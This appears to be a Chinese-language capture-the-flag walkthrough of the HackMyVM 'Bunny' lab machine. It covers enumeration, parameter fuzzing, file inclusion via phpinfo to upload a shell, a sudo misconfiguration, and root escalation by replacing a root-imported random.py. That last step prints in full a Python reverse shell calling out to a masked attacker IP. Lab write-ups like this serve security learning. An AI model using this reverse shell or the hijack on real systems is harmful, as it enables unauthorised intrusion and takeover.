hackmyvm-buny walkthrough
难度(作者评价):difficult
信息收集
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
获取shell
端口信息很少,常规操作,访问80,爆破目录。


upload.php,password.txt,config.php都是没有实际含义的文本文件。phpinfo.php泄露了主机的相关信息。

能想到的就是index.php是不是存在ssrf。于是利用ffuf对index.php进行参数fuzz,得到参数page为实际请求参数。

由于allow_url_include是off,所以没有办法进行php://input和data协议利用。 爆破日志文件也不能被利用来进行本地文件包含获取shell。

同时web服务中没有上传点,于是参考文章php文件包含漏洞(利用phpinfo)复现[1],成功上传shell。


切换用户
为了操作方便获取pty,反弹一个shell,查看sudo。

magic文件如下:
#/bin/bash
$1 $2 $3 -T -TT 'sh #'
很简单切换到用户chris,得到第一个flag。


提权至root
利用pspy64可以看到root每分钟在运行pendu.py。
该文件没做什么事情,但是引入了random。


从图中可以看到random是可以修改的。于是将random改成一个反弹shell。
chris@bunny:~$ cat /usr/lib/python3.7/random.py
cat /usr/lib/python3.7/random.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("*.*.*.*",5555))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
成功获取root权限。

参考
- https://www.cnblogs.com/xiaoqiyue/p/10158702.html
本文详细介绍了hackmyvm-bunny的漏洞利用过程,包括信息收集、获取shell、切换用户和提权至root。通过fuzzing发现index.php参数,利用phpinfo泄漏获取主机信息。由于没有上传点,参考外部文章实现shell上传。之后通过修改random文件以反弹shell,成功提权到root。
441

被折叠的 条评论
为什么被折叠?



